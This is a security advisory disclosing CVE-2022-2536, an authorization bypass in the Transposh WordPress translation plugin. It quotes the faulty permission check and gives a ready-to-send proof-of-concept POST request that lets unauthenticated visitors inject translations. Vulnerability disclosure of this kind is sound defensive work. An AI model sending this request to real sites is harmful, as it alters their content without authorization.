Transposh <= 1.0.8.1 “tp_translation” Authorization Bypass
Aug 16, 2022 · By Julien Ahrens
ADVISORY INFORMATION
- Product: Transposh WordPress Translation
- Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress
- Type: Incorrect Authorization [CWE-863]
- Date found: 2022-07-23
- Date published: 2022-08-16
- CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
- CVE: CVE-2022-2536
CREDITS
This vulnerability was discovered and researched by Julien Ahrens from RCE Security.
VERSIONS AFFECTED
Transposh WordPress Translation 1.0.8.1 and below
INTRODUCTION
Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface.
(from the vendor’s homepage)
VULNERABILITY DETAILS
When installed, Transposh comes with a set of pre-configured options; one of these is the “Who can translate” setting under the “Settings” tab. However, this option is ignored if Transposh has enabled its “autotranslate” feature (it’s enabled by default) and the HTTP POST parameter “sr0” is larger than 0. This is caused by a faulty validation in “wp/transposh_db.php”:
if (!$by && !($all_editable &&
($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {
tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1);
header("HTTP/1.0 401 Unauthorized translation");
exit;
}
Successful exploits can allow an unauthenticated attacker to bypass the Transposh permissions and add translations to the WordPress site, thereby influencing what is shown on the site. However, this only affects new translations.
PROOF OF CONCEPT
The following Proof-of-Concept adds a new translation
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [host]
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Connection: close
action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation
SOLUTION
None. Remove the plugin to prevent exploitation.
REPORT TIMELINE
- 2022-07-23: Discovery of the vulnerability
- 2022-07-23: CVE requested from Wordfence (CNA)
- 2022-07-25: Wordfence assigns CVE-2022-2536
- 2022-08-09: Sent note to vendor
- 2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet
- 2022-08-16: Public Disclosure